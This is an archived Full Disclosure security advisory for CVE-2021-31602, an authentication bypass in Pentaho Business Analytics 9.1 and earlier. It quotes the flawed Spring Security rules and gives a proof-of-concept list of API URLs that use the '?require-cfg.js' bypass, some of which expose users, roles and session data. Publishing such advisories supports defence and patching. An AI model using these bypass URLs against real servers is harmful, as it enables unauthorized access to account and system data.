lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAFcQjjKgJ8wGO+Nb3FY+mdnM0DcCO8OPL=GrFGE_P7dDE5kKew@mail.gmail.com> Date: Tue, 2 Nov 2021 19:18:35 +0100 From: BlackHawk <hawkgotyou@...il.com> To: fulldisclosure <fulldisclosure@...lists.org> Subject: [FD] Pentaho <= 9.1 Authentication Bypass of Spring APIs Product: Pentaho Business Analytics / Pentaho Business Server Vendor / Manufacturer: Hitachi Vantara Affected Version(s): <= 9.1 Vulnerability Type: Authentication Bypass of Spring APIs Solution Status: Fix Released on public GitHub repository Manufacturer Notification: 8th February 2021 Solution Date: May 2021 Public Disclosure: 01 November 2021 CVE Reference: CVE-2021-31602 Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka --- ### --- ### --- Product Description: Pentaho is business intelligence (BI) software that provides data integration, OLAP services, reporting, information dashboards, data mining and extract, transform, load (ETL) capabilities. Its headquarters are in Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and in 2017 became part of Hitachi Vantara. ( Source: https://en.wikipedia.org/wiki/Pentaho ) --- ### --- ### --- Vulnerability Details: The security model of Pentaho Business Analytics consists of different layers of Access Control (AC). The applicationContext directives defined in the applicationContext-spring-security.xml file were of particular interest and further examination of the access control entries revealed the following misconfigurations. --- ~~~ --- ~~~ --- <sec:intercept-url pattern="\A/api/.*require-cfg.js.*\Z" access="Anonymous,Authenticated" /> <sec:intercept-url pattern="\A/api/.*require-js-cfg.js.*\Z" access="Anonymous,Authenticated" /> <sec:intercept-url pattern="\A/api/.*\Z" access="Authenticated" /> --- ~~~ --- ~~~ --- Specifically, the last directive explicitly declares that the available endpoints require that users are authenticated. However, the first and second directives bypass this requirement by allowing unauthenticated access to arbitrary "/api/*" endpoints when the "?require-cfg.js" URL parameter is present. As a result, it is possible for unauthenticated users to access arbitrary Pentaho API endpoints by including the "?require-cfg.js" or "?require-js-cfg.js" URL parameter as part of the HTTP request. For example, the following URL can be used to retrieve the Pentaho API version, http://localhost:8080/pentaho/api/version/show?require-cfg.js --- ### --- ### --- Proof of Concept (PoC): See Ginger ( https://github.com/HawSec/ginger ) or The following is a non-exhaustive list of the Pentaho API endpoints susceptible to this vulnerability. http://localhost:8080/pentaho/api/version/show?require-cfg.js http://localhost:8080/pentaho/api/version/softwareUpdates?require-cfg.js http://localhost:8080/pentaho/api/emailconfig/isValid?require-cfg.js http://localhost:8080/pentaho/api/authorization/action/isauthorized?require-cfg.js http://localhost:8080/pentaho/api/userroledao/userRoles?require-cfg.js http://localhost:8080/pentaho/api/system/locale?require-cfg.js http://localhost:8080/pentaho/api/system/timezones?require-cfg.js http://localhost:8080/pentaho/api/system/executableTypes?require-cfg.js http://localhost:8080/pentaho/api/theme/list?require-cfg.js http://localhost:8080/pentaho/api/theme/active?require-cfg.js http://localhost:8080/pentaho/api/userrolelist/users?require-cfg.js http://localhost:8080/pentaho/api/userrolelist/roles?require-cfg.js http://localhost:8080/pentaho/api/userrolelist/allRoles?require-cfg.js http://localhost:8080/pentaho/api/userrolelist/systemRoles?require-cfg.js http://localhost:8080/pentaho/api/userrolelist/extraRoles?require-cfg.js http://localhost:8080/pentaho/api/userrolelist/permission-users?require-cfg.js http://localhost:8080/pentaho/api/userrolelist/permission-roles?require-cfg.js http://localhost:8080/pentaho/api/scheduler/state?require-cfg.js http://localhost:8080/pentaho/api/scheduler/jobinfotest?require-cfg.js http://localhost:8080/pentaho/api/scheduler/blockout/blockoutjobs?require-cfg.js http://localhost:8080/pentaho/api/scheduler/blockout/hasblockouts?require-cfg.js http://localhost:8080/pentaho/api/scheduler/blockout/shouldFireNow?require-cfg.js http://localhost:8080/pentaho/api/scheduler/generatedContentForSchedule?require-cfg.js http://localhost:8080/pentaho/api/repos/executableTypes?require-cfg.js http://localhost:8080/pentaho/api/plugin-manager/overlays?require-cfg.js http://localhost:8080/pentaho/api/mantle/locale?require-cfg.js http://localhost:8080/pentaho/api/mantle/isAuthenticated?require-cfg.js http://localhost:8080/pentaho/api/mantle/getAdminContent?require-cfg.js http://localhost:8080/pentaho/api/mantle/settings?require-cfg.js http://localhost:8080/pentaho/api/mantle/registeredPlugins?require-cfg.js http://localhost:8080/pentaho/api/service/assignment?require-cfg.js http://localhost:8080/pentaho/api/repo/files/reservedCharacters?require-cfg.js http://localhost:8080/pentaho/api/repo/files/generatedContentForSchedule?require-cfg.js http://localhost:8080/pentaho/api/repo/files/canAdminister?require-cfg.js http://localhost:8080/pentaho/api/repo/files/reservedCharactersDisplay?require-cfg.js http://localhost:8080/pentaho/api/session/userName?require-cfg.js http://localhost:8080/pentaho/api/session/workspaceDirForUser/{user}?require-cfg.js http://localhost:8080/pentaho/api/session/setredirect?require-cfg.js http://localhost:8080/pentaho/api/session/userWorkspaceDir?require-cfg.js --- ### --- ### --- Credits: This vulnerability was discovered by Alberto Favero & Altion Malka --- ### --- ### --- -- BlackHawk - hawkgotyou@...il.com Experientia senum, agilitas iuvenum. Adversa fortiter. Dubia prudenter. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists